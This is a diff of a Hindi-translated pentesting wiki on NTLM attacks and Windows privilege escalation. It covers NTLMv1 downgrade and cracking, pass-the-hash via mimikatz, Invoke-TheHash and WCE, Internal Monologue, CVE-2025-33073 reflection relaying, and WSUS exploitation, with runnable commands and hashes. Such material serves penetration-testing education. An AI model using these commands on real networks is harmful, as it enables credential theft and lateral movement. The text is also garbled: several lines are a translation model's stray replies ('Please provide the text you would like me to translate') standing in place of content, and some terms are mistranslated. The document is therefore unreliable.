मतलब यह नहीं है कि आप **प्रिंट स्पूलर सेवा** का **दुरुपयोग** नहीं कर सकते। +आजकल बिना सीमित प्रतिनिधित्व के साथ वातावरण पाना कम सामान्य होता जा रहा है, लेकिन इसका मतलब यह नहीं है कि आप **प्रिंट स्पूलर सेवा** का दुरुपयोग नहीं कर सकते। -आप AD पर पहले से मौजूद कुछ प्रमाण-पत्र/सत्रों का **दुरुपयोग** कर सकते हैं ताकि **प्रिंटर से किसी ऐसे होस्ट के खिलाफ प्रमाणीकरण करने के लिए कहें जो आपके नियंत्रण में है**। फिर, `metasploit auxiliary/server/capture/smb` या `responder` का उपयोग करके आप **प्रमाणीकरण चुनौती को 1122334455667788** पर सेट कर सकते हैं, प्रमाणीकरण प्रयास को कैप्चर कर सकते हैं, और यदि यह **NTLMv1** का उपयोग करके किया गया था तो आप इसे **क्रैक** कर सकेंगे।\ -यदि आप `responder` का उपयोग कर रहे हैं तो आप **`--lm` ध्वज का उपयोग करने की कोशिश कर सकते हैं** ताकि **प्रमाणीकरण** को **कम किया जा सके**।\ +आप AD पर पहले से मौजूद कुछ प्रमाण-पत्र/सत्रों का दुरुपयोग कर सकते हैं ताकि **प्रिंटर से कुछ** **होस्ट के खिलाफ प्रमाणीकरण करने के लिए** कहा जा सके जो आपके नियंत्रण में है। फिर, `metasploit auxiliary/server/capture/smb` या `responder` का उपयोग करके आप **प्रमाणीकरण चुनौती को 1122334455667788** पर सेट कर सकते हैं, प्रमाणीकरण प्रयास को कैप्चर कर सकते हैं, और यदि यह **NTLMv1** का उपयोग करके किया गया था तो आप इसे **क्रैक** कर सकेंगे।\ +यदि आप `responder` का उपयोग कर रहे हैं तो आप **`--lm` ध्वज का उपयोग करने** की कोशिश कर सकते हैं ताकि **प्रमाणीकरण** को **कम किया जा सके**।\ _ध्यान दें कि इस तकनीक के लिए प्रमाणीकरण NTLMv1 का उपयोग करके किया जाना चाहिए (NTLMv2 मान्य नहीं है)।_ -याद रखें कि प्रिंटर प्रमाणीकरण के दौरान कंप्यूटर खाते का उपयोग करेगा, और कंप्यूटर खाते **लंबे और यादृच्छिक पासवर्ड** का उपयोग करते हैं जिन्हें आप **संभवतः सामान्य **शब्दकोशों** का उपयोग करके क्रैक नहीं कर पाएंगे। लेकिन **NTLMv1** प्रमाणीकरण **DES** का उपयोग करता है ([more info here](#ntlmv1-challenge)), इसलिए DES को क्रैक करने के लिए विशेष रूप से समर्पित कुछ सेवाओं का उपयोग करके आप इसे क्रैक कर सकेंगे (आप उदाहरण के लिए [https://crack.sh/](https://crack.sh) या [https://ntlmv1.com/](https://ntlmv1.com) का उपयोग कर सकते हैं)। +याद रखें कि प्रिंटर प्रमाणीकरण के दौरान कंप्यूटर खाते का उपयोग करेगा, और कंप्यूटर खाते **लंबे और यादृच्छिक पासवर्ड** का उपयोग करते हैं जिन्हें आप **संभवतः सामान्य** **शब्दकोशों** का उपयोग करके क्रैक नहीं कर पाएंगे। लेकिन **NTLMv1** प्रमाणीकरण **DES** का उपयोग करता है ([more info here](#ntlmv1-challenge)), इसलिए DES को क्रैक करने के लिए विशेष रूप से समर्पित कुछ सेवाओं का उपयोग करके आप इसे क्रैक कर सकेंगे (आप उदाहरण के लिए [https://crack.sh/](https://crack.sh) या [https://ntlmv1.com/](https://ntlmv1.com) का उपयोग कर सकते हैं)। ### NTLMv1 attack with hashcat @@ -91,7 +92,7 @@ The command ```bash python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788 ``` -Please provide the text you would like me to translate. +Please provide the content you would like me to translate. ```bash ['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788'] @@ -143,21 +144,21 @@ b4b9b02e6f09a9 # this is part 1 ./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d bd760f388b6700 # this is part 2 ``` -I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you would like me to translate. +It seems like you haven't provided the text that needs to be translated. Please share the relevant English text, and I'll translate it to Hindi for you. ```bash ./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788 586c # this is the last part ``` -Please provide the text you would like me to translate to Hindi. +Please provide the text you would like me to translate. ```bash NTHASH=b4b9b02e6f09a9bd760f388b6700586c ``` ### NTLMv2 Challenge -**चुनौती की लंबाई 8 बाइट है** और **2 प्रतिक्रियाएँ भेजी जाती हैं**: एक **24 बाइट** लंबी है और **दूसरी** की लंबाई **परिवर्तनीय** है। +**चुनौती की लंबाई 8 बाइट्स है** और **2 प्रतिक्रियाएँ भेजी जाती हैं**: एक **24 बाइट्स** लंबी है और **दूसरी** की लंबाई **परिवर्तनीय** है। -**पहली प्रतिक्रिया** को **HMAC_MD5** का उपयोग करके **क्लाइंट और डोमेन** द्वारा निर्मित **स्ट्रिंग** को सिफर करके बनाया जाता है और **NT हैश** के **हैश MD4** को **की** के रूप में उपयोग किया जाता है। फिर, **परिणाम** को **चुनौती** को सिफर करने के लिए **HMAC_MD5** का उपयोग करने के लिए **की** के रूप में उपयोग किया जाएगा। इसके लिए, **8 बाइट की क्लाइंट चुनौती जोड़ी जाएगी**। कुल: 24 B। +**पहली प्रतिक्रिया** को **HMAC_MD5** का उपयोग करके **क्लाइंट और डोमेन** द्वारा बनाई गई **स्ट्रिंग** को सिफर करके बनाया जाता है और **NT हैश** के **हैश MD4** को **की** के रूप में उपयोग किया जाता है। फिर, **परिणाम** को **चुनौती** को सिफर करने के लिए **HMAC_MD5** का उपयोग करने के लिए **की** के रूप में उपयोग किया जाएगा। इसके लिए, **8 बाइट्स की क्लाइंट चुनौती जोड़ी जाएगी**। कुल: 24 B। **दूसरी प्रतिक्रिया** को **कई मानों** (एक नई क्लाइंट चुनौती, **टाइमस्टैम्प** ताकि **रिप्ले हमलों** से बचा जा सके...) का उपयोग करके बनाया जाता है। @@ -165,8 +166,8 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c ## Pass-the-Hash -**एक बार जब आपके पास पीड़ित का हैश हो**, तो आप इसका **प्रतिनिधित्व** करने के लिए इसका उपयोग कर सकते हैं।\ -आपको एक **उपकरण** का उपयोग करने की आवश्यकता है जो उस **हैश** का उपयोग करके **NTLM प्रमाणीकरण करेगा**, **या** आप एक नया **सत्रलॉगऑन** बना सकते हैं और उस **हैश** को **LSASS** के अंदर **इंजेक्ट** कर सकते हैं, ताकि जब भी कोई **NTLM प्रमाणीकरण किया जाए**, वह **हैश का उपयोग किया जाएगा।** अंतिम विकल्प वही है जो मिमिकैट्ज़ करता है। +**एक बार जब आपके पास पीड़ित का हैश हो**, तो आप इसका उपयोग **नकली** बनाने के लिए कर सकते हैं।\ +आपको एक **उपकरण** का उपयोग करने की आवश्यकता है जो उस **हैश** का उपयोग करके **NTLM प्रमाणीकरण करेगा**, **या** आप एक नया **सत्रलॉगन** बना सकते हैं और उस **हैश** को **LSASS** के अंदर **इंजेक्ट** कर सकते हैं, ताकि जब भी कोई **NTLM प्रमाणीकरण किया जाए**, वह **हैश का उपयोग किया जाएगा।** अंतिम विकल्प वही है जो मिमिकैट्ज़ करता है। **कृपया याद रखें कि आप कंप्यूटर खातों का उपयोग करके भी पास-थे-हैश हमले कर सकते हैं।** @@ -178,9 +179,9 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm ``` यह एक प्रक्रिया शुरू करेगा जो उन उपयोगकर्ताओं से संबंधित होगी जिन्होंने mimikatz लॉन्च किया है, लेकिन आंतरिक रूप से LSASS में सहेजे गए क्रेडेंशियल्स वही हैं जो mimikatz पैरामीटर के अंदर हैं। फिर, आप नेटवर्क संसाधनों तक उस उपयोगकर्ता के रूप में पहुंच सकते हैं (जैसे `runas /netonly` ट्रिक, लेकिन आपको स्पष्ट पाठ पासवर्ड जानने की आवश्यकता नहीं है)। -### Linux से Pass-the-Hash +### लिनक्स से पास-थे-हैश -आप Linux से Pass-the-Hash का उपयोग करके Windows मशीनों में कोड निष्पादन प्राप्त कर सकते हैं।\ +आप लिनक्स से पास-थे-हैश का उपयोग करके Windows मशीनों में कोड निष्पादन प्राप्त कर सकते हैं।\ [**यहां पहुंचें यह सीखने के लिए कि इसे कैसे करना है।**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md) ### Impacket Windows संकलित उपकरण @@ -214,7 +215,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff ``` #### Invoke-TheHash -यह फ़ंक्शन **अन्य सभी का मिश्रण** है। आप **कई होस्ट** पास कर सकते हैं, **कुछ को बाहर** कर सकते हैं और आप जिस **विकल्प** का उपयोग करना चाहते हैं उसे **चुन सकते हैं** (_SMBExec, WMIExec, SMBClient, SMBEnum_)। यदि आप **SMBExec** और **WMIExec** में से **कोई भी** चुनते हैं लेकिन आप कोई _**Command**_ पैरामीटर नहीं देते हैं, तो यह बस **जांच** करेगा कि क्या आपके पास **पर्याप्त अनुमतियाँ** हैं। +यह फ़ंक्शन **अन्य सभी का मिश्रण** है। आप **कई होस्ट** पास कर सकते हैं, **कुछ को बाहर** कर सकते हैं और आप जिस **विकल्प** का उपयोग करना चाहते हैं उसे **चुन सकते हैं** (_SMBExec, WMIExec, SMBClient, SMBEnum_)। यदि आप **SMBExec** और **WMIExec** में से **कोई भी** चुनते हैं लेकिन आप कोई _**Command**_ पैरामीटर नहीं देते हैं, तो यह बस **जांच करेगा** कि क्या आपके पास **पर्याप्त अनुमतियाँ** हैं। ``` Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 ``` @@ -222,9 +223,9 @@ Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100 ### Windows Credentials Editor (WCE) -**यह प्रशासनिक अधिकारों के साथ चलाना आवश्यक है** +**प्रशासक के रूप में चलाना आवश्यक है** -यह उपकरण वही काम करेगा जो mimikatz (LSASS मेमोरी को संशोधित करना) करता है। +यह उपकरण वही करेगा जो mimikatz (LSASS मेमोरी को संशोधित करना) करता है। ``` wce.exe -s ::: ``` @@ -234,25 +235,26 @@ wce.exe -s ::: ../lateral-movement/ {{#endref}} -## एक विंडोज होस्ट से क्रेडेंशियल निकालना +## विंडोज होस्ट से क्रेडेंशियल निकालना -**एक विंडोज होस्ट से क्रेडेंशियल प्राप्त करने के बारे में अधिक जानकारी के लिए आपको** [**यह पृष्ठ पढ़ना चाहिए**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**।** +**विंडोज होस्ट से क्रेडेंशियल प्राप्त करने के बारे में अधिक जानकारी के लिए आपको** [**यह पृष्ठ पढ़ना चाहिए**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**।** ## आंतरिक मोनोलॉग हमला -आंतरिक मोनोलॉग हमला एक छिपा हुआ क्रेडेंशियल निकालने की तकनीक है जो हमलावर को एक पीड़ित की मशीन से NTLM हैश प्राप्त करने की अनुमति देती है **बिना LSASS प्रक्रिया के साथ सीधे इंटरैक्ट किए**। Mimikatz के विपरीत, जो हैश को सीधे मेमोरी से पढ़ता है और अक्सर एंडपॉइंट सुरक्षा समाधानों या क्रेडेंशियल गार्ड द्वारा अवरुद्ध होता है, यह हमला **सुरक्षा समर्थन प्रदाता इंटरफेस (SSPI) के माध्यम से NTLM प्रमाणीकरण पैकेज (MSV1_0) के लिए स्थानीय कॉल का उपयोग करता है**। हमलावर पहले **NTLM सेटिंग्स को डाउनग्रेड करता है** (जैसे, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) यह सुनिश्चित करने के लिए कि NetNTLMv1 की अनुमति है। फिर वे चल रहे प्रक्रियाओं से प्राप्त मौजूदा उपयोगकर्ता टोकनों का अनुकरण करते हैं और एक ज्ञात चुनौती का उपयोग करके स्थानीय रूप से NTLM प्रमाणीकरण को ट्रिगर करते हैं ताकि NetNTLMv1 प्रतिक्रियाएँ उत्पन्न की जा सकें। +आंतरिक मोनोलॉग हमला एक छिपा हुआ क्रेडेंशियल निकालने की तकनीक है जो हमलावर को पीड़ित की मशीन से NTLM हैश प्राप्त करने की अनुमति देती है **बिना LSASS प्रक्रिया के साथ सीधे इंटरैक्ट किए**। Mimikatz के विपरीत, जो मेमोरी से सीधे हैश पढ़ता है और अक्सर एंडपॉइंट सुरक्षा समाधानों या क्रेडेंशियल गार्ड द्वारा अवरुद्ध होता है, यह हमला **सुरक्षा समर्थन प्रदाता इंटरफेस (SSPI) के माध्यम से NTLM प्रमाणीकरण पैकेज (MSV1_0) के लिए स्थानीय कॉल का लाभ उठाता है**। हमलावर पहले **NTLM सेटिंग्स को डाउनग्रेड करता है** (जैसे, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) यह सुनिश्चित करने के लिए कि NetNTLMv1 की अनुमति है। फिर वे चल रही प्रक्रियाओं से प्राप्त मौजूदा उपयोगकर्ता टोकनों का अनुकरण करते हैं और स्थानीय रूप से NTLM प्रमाणीकरण को ट्रिगर करते हैं ताकि ज्ञात चुनौती का उपयोग करके NetNTLMv1 प्रतिक्रियाएँ उत्पन्न की जा सकें। इन NetNTLMv1 प्रतिक्रियाओं को कैप्चर करने के बाद, हमलावर **पूर्व-गणना किए गए रेनबो टेबल्स** का उपयोग करके मूल NTLM हैश को जल्दी से पुनर्प्राप्त कर सकता है, जिससे पार्श्व आंदोलन के लिए आगे के पास-दी-हैश हमलों की अनुमति मिलती है। महत्वपूर्ण रूप से, आंतरिक मोनोलॉग हमला छिपा रहता है क्योंकि यह नेटवर्क ट्रैफ़िक उत्पन्न नहीं करता, कोड इंजेक्ट नहीं करता, या सीधे मेमोरी डंप को ट्रिगर नहीं करता, जिससे इसे पारंपरिक तरीकों जैसे Mimikatz की तुलना में पहचानना कठिन हो जाता है। यदि NetNTLMv1 को स्वीकार नहीं किया जाता है—क्योंकि सुरक्षा नीतियों को लागू किया गया है, तो हमलावर NetNTLMv1 प्रतिक्रिया प्राप्त करने में विफल हो सकता है। -इस मामले को संभालने के लिए, आंतरिक मोनोलॉग उपकरण को अपडेट किया गया: यह `AcceptSecurityContext()` का उपयोग करके एक सर्वर टोकन को गतिशील रूप से अधिग्रहित करता है ताकि यदि NetNTLMv1 विफल हो जाए तो **NetNTLMv2 प्रतिक्रियाएँ कैप्चर की जा सकें**। जबकि NetNTLMv2 को क्रैक करना बहुत कठिन है, यह अभी भी सीमित मामलों में रिले हमलों या ऑफ़लाइन ब्रूट-फोर्स के लिए एक मार्ग खोलता है। +इस मामले को संभालने के लिए, आंतरिक मोनोलॉग उपकरण को अपडेट किया गया: यह `AcceptSecurityContext()` का उपयोग करके एक सर्वर टोकन गतिशील रूप से प्राप्त करता है ताकि यदि NetNTLMv1 विफल हो जाए तो **NetNTLMv2 प्रतिक्रियाएँ कैप्चर की जा सकें**। जबकि NetNTLMv2 को क्रैक करना बहुत कठिन है, यह अभी भी सीमित मामलों में रिले हमलों या ऑफ़लाइन ब्रूट-फोर्स के लिए एक मार्ग खोलता है। PoC **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)** पर पाया जा सकता है। ## NTLM रिले और रिस्पॉन्डर -**इन हमलों को कैसे करना है इस पर अधिक विस्तृत गाइड पढ़ें:** +**इन हमलों को कैसे करना है, इस पर अधिक विस्तृत मार्गदर्शिका पढ़ें:** + {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -262,17 +264,17 @@ PoC **[https://github.com/eladshamir/Internal-Monologue](https://github.com/elad **आप उपयोग कर सकते हैं** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide) -## NTLM & Kerberos *रिफ्लेक्शन* सीरियलाइज्ड SPNs (CVE-2025-33073) के माध्यम से +## NTLM और Kerberos *रिफ्लेक्शन* सीरियलाइज्ड SPNs (CVE-2025-33073) के माध्यम से -विंडोज में कई उपाय हैं जो *रिफ्लेक्शन* हमलों को रोकने की कोशिश करते हैं जहां एक NTLM (या Kerberos) प्रमाणीकरण जो एक होस्ट से उत्पन्न होता है, **उसी** होस्ट पर SYSTEM विशेषाधिकार प्राप्त करने के लिए वापस रिले किया जाता है। +विंडोज में कई निवारण शामिल हैं जो *रिफ्लेक्शन* हमलों को रोकने की कोशिश करते हैं जहां एक NTLM (या Kerberos) प्रमाणीकरण जो एक होस्ट से उत्पन्न होता है, **उसी** होस्ट पर SYSTEM विशेषाधिकार प्राप्त करने के लिए वापस रिले किया जाता है। -Microsoft ने MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) और बाद के पैच के साथ अधिकांश सार्वजनिक श्रृंखलाओं को तोड़ दिया, हालांकि **CVE-2025-33073** दिखाता है कि सुरक्षा उपायों को अभी भी **SMB क्लाइंट द्वारा सेवा प्रिंसिपल नामों (SPNs)** को ट्रंक करने के तरीके का दुरुपयोग करके बायपास किया जा सकता है जो *मार्शल्ड* (सीरियलाइज्ड) लक्ष्य-जानकारी को शामिल करते हैं। +Microsoft ने MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) और बाद के पैच के साथ अधिकांश सार्वजनिक श्रृंखलाओं को तोड़ दिया, हालांकि **CVE-2025-33073** दिखाता है कि सुरक्षा उपायों को अभी भी **SMB क्लाइंट द्वारा सेवा प्रिंसिपल नाम (SPNs)** को ट्रंक करने के तरीके का दुरुपयोग करके बायपास किया जा सकता है जो *मार्शल्ड* (सीरियलाइज्ड) लक्ष्य-जानकारी को शामिल करता है। ### बग का TL;DR -1. एक हमलावर एक **DNS A-रिकॉर्ड** पंजीकृत करता है जिसका लेबल एक मार्शल्ड SPN को एन्कोड करता है – जैसे +1. एक हमलावर एक **DNS A-record** पंजीकृत करता है जिसका लेबल एक मार्शल्ड SPN को एन्कोड करता है – जैसे `srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` 2. पीड़ित को उस होस्टनाम (PetitPotam, DFSCoerce, आदि) पर प्रमाणीकरण करने के लिए मजबूर किया जाता है। -3. जब SMB क्लाइंट लक्ष्य स्ट्रिंग `cifs/srv11UWhRCAAAAA…` को `lsasrv!LsapCheckMarshalledTargetInfo` को पास करता है, तो `CredUnmarshalTargetInfo` को कॉल करने पर **सीरियलाइज्ड ब्लॉब को हटा दिया जाता है**, जिससे **`cifs/srv1`** बचता है। +3. जब SMB क्लाइंट लक्ष्य स्ट्रिंग `cifs/srv11UWhRCAAAAA…` को `lsasrv!LsapCheckMarshalledTargetInfo` को पास करता है, तो `CredUnmarshalTargetInfo` को कॉल करने पर **सीरियलाइज्ड ब्लॉब हटा दिया जाता है**, जिससे **`cifs/srv1`** बचता है। 4. `msv1_0!SspIsTargetLocalhost` (या Kerberos समकक्ष) अब लक्ष्य को *localhost* मानता है क्योंकि छोटा होस्ट भाग कंप्यूटर नाम (`SRV1`) से मेल खाता है। 5. परिणामस्वरूप, सर्वर `NTLMSSP_NEGOTIATE_LOCAL_CALL` सेट करता है और संदर्भ में **LSASS का SYSTEM एक्सेस-टोकन** इंजेक्ट करता है (Kerberos के लिए एक SYSTEM-मार्क किया गया सबसत्र कुंजी बनाई जाती है)। 6. उस प्रमाणीकरण को `ntlmrelayx.py` **या** `krbrelayx.py` के साथ रिले करने से उसी होस्ट पर पूर्ण SYSTEM अधिकार मिलते हैं। diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 893fa9e03..1e8391843 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -10,6 +10,7 @@ **यदि आप नहीं जानते कि Windows एक्सेस टोकन क्या हैं, तो आगे बढ़ने से पहले निम्नलिखित पृष्ठ को पढ़ें:** + {{#ref}} access-tokens.md {{#endref}} @@ -18,6 +19,7 @@ access-tokens.md **ACLs - DACLs/SACLs/ACEs के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:** + {{#ref}} acls-dacls-sacls-aces.md {{#endref}} @@ -26,13 +28,15 @@ acls-dacls-sacls-aces.md **यदि आप नहीं जानते कि Windows में इंटीग्रिटी लेवल्स क्या हैं, तो आगे बढ़ने से पहले निम्नलिखित पृष्ठ को पढ़ें:** + {{#ref}} integrity-levels.md {{#endref}} ## Windows सुरक्षा नियंत्रण -Windows में विभिन्न चीजें हैं जो **आपको सिस्टम की गणना करने से रोक सकती हैं**, निष्पादन योग्य चलाने या यहां तक कि **आपकी गतिविधियों का पता लगाने** से रोक सकती हैं। आपको विशेषाधिकार वृद्धि गणना शुरू करने से पहले निम्नलिखित **पृष्ठ** को **पढ़ना** और सभी **रक्षा** **यंत्रों** की **गणना** करनी चाहिए: +Windows में विभिन्न चीजें हैं जो **आपको सिस्टम को सूचीबद्ध करने से रोक सकती हैं**, निष्पादन योग्य फ़ाइलें चला सकती हैं या यहां तक कि **आपकी गतिविधियों का पता लगा सकती हैं**। आपको विशेषाधिकार वृद्धि सूचीकरण शुरू करने से पहले निम्नलिखित **पृष्ठ** को **पढ़ना** और सभी **रक्षा** **यंत्रों** को **सूचीबद्ध** करना चाहिए: + {{#ref}} ../authentication-credentials-uac-and-efs/ @@ -40,9 +44,9 @@ Windows में विभिन्न चीजें हैं जो **आ ## सिस्टम जानकारी -### संस्करण जानकारी गणना +### संस्करण जानकारी सूचीकरण -जांचें कि क्या Windows संस्करण में कोई ज्ञात भेद्यता है (लागू पैच भी जांचें)। +जांचें कि क्या Windows संस्करण में कोई ज्ञात सुरक्षा दोष है (लागू किए गए पैच भी जांचें)। ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -57,7 +61,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ### Version Exploits -यह [site](https://msrc.microsoft.com/update-guide/vulnerability) Microsoft सुरक्षा कमजोरियों के बारे में विस्तृत जानकारी खोजने के लिए उपयोगी है। इस डेटाबेस में 4,700 से अधिक सुरक्षा कमजोरियाँ हैं, जो **massive attack surface** को दर्शाती हैं जो एक Windows वातावरण प्रस्तुत करता है। +यह [site](https://msrc.microsoft.com/update-guide/vulnerability) Microsoft सुरक्षा कमजोरियों के बारे में विस्तृत जानकारी खोजने के लिए उपयोगी है। इस डेटाबेस में 4,700 से अधिक सुरक्षा कमजोरियाँ हैं, जो **विशाल हमले की सतह** को दर्शाती हैं जो एक Windows वातावरण प्रस्तुत करता है। **On the system** @@ -79,7 +83,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ### Environment -क्या env variables में कोई क्रेडेंशियल/जूसि जानकारी सहेजी गई है? +क्या env वेरिएबल्स में कोई क्रेडेंशियल/जूसि जानकारी सहेजी गई है? ```bash set dir env: @@ -95,9 +99,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell Transcript files +### PowerShell Transcript फ़ाइलें -आप सीख सकते हैं कि इसे कैसे चालू किया जाए [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +आप इसे चालू करने के लिए [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) पर सीख सकते हैं। ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -121,13 +125,13 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -PowersShell लॉग से अंतिम 15 घटनाएँ देखने के लिए आप निम्नलिखित कमांड चला सकते हैं: +PowersShell लॉग से अंतिम 15 घटनाओं को देखने के लिए आप निम्नलिखित कमांड चला सकते हैं: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -स्क्रिप्ट के निष्पादन की पूरी गतिविधि और पूर्ण सामग्री रिकॉर्ड की जाती है, यह सुनिश्चित करते हुए कि कोड के प्रत्येक ब्लॉक को उसके चलने के समय दस्तावेजित किया जाता है। यह प्रक्रिया प्रत्येक गतिविधि का एक व्यापक ऑडिट ट्रेल बनाए रखती है, जो फॉरेंसिक्स और दुर्भावनापूर्ण व्यवहार का विश्लेषण करने के लिए मूल्यवान है। निष्पादन के समय सभी गतिविधियों को दस्तावेजित करके, प्रक्रिया के बारे में विस्तृत अंतर्दृष्टि प्रदान की जाती है। +स्क्रिप्ट के निष्पादन की पूरी गतिविधि और पूर्ण सामग्री रिकॉर्ड की जाती है, यह सुनिश्चित करते हुए कि कोड का हर ब्लॉक उसके चलने के समय दस्तावेजीकृत है। यह प्रक्रिया प्रत्येक गतिविधि का एक व्यापक ऑडिट ट्रेल बनाए रखती है, जो फॉरेंसिक्स और दुर्भावनापूर्ण व्यवहार का विश्लेषण करने के लिए मूल्यवान है। निष्पादन के समय सभी गतिविधियों को दस्तावेजीकृत करके, प्रक्रिया के बारे में विस्तृत अंतर्दृष्टि प्रदान की जाती है। ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging @@ -152,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -यदि अपडेट http**S** का उपयोग करके अनुरोध नहीं किए जाते हैं, तो आप सिस्टम से समझौता कर सकते हैं। +यदि अपडेट http**S** का उपयोग करके अनुरोध नहीं किए जाते हैं, तो आप सिस्टम को समझौता कर सकते हैं। -आप cmd में निम्नलिखित चलाकर जांचना शुरू करते हैं कि क्या नेटवर्क एक गैर-SSL WSUS अपडेट का उपयोग करता है: +आप cmd में निम्नलिखित चलाकर जांचना शुरू करते हैं कि क्या नेटवर्क गैर-SSL WSUS अपडेट का उपयोग करता है: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -162,7 +166,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -यदि आपको इनमें से कोई उत्तर मिलता है: +यदि आपको इनमें से किसी एक जैसी प्रतिक्रिया मिलती है: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -176,13 +180,13 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`. +और यदि `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` या `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` का मान `1` है। -Then, **यह exploitable है।** If the last registry is equals to 0, then, the WSUS entry will be ignored. +तो, **यह exploitable है।** यदि अंतिम रजिस्ट्री का मान 0 है, तो WSUS प्रविष्टि को अनदेखा किया जाएगा। -In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic. +इन कमजोरियों का लाभ उठाने के लिए आप उपकरणों का उपयोग कर सकते हैं: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- ये MiTM हथियारबंद exploits स्क्रिप्ट हैं जो गैर-SSL WSUS ट्रैफ़िक में 'फर्जी' अपडेट इंजेक्ट करने के लिए हैं। -Read the research here: +यहाँ शोध पढ़ें: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -190,26 +194,26 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**यहाँ पूरा रिपोर्ट पढ़ें**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Basically, this is the flaw that this bug exploits: +[**पूर्ण रिपोर्ट यहाँ पढ़ें**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +बुनियादी रूप से, यह वह दोष है जिसका लाभ यह बग उठाता है: -> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. +> यदि हमारे पास अपने स्थानीय उपयोगकर्ता प्रॉक्सी को संशोधित करने की शक्ति है, और Windows Updates इंटरनेट 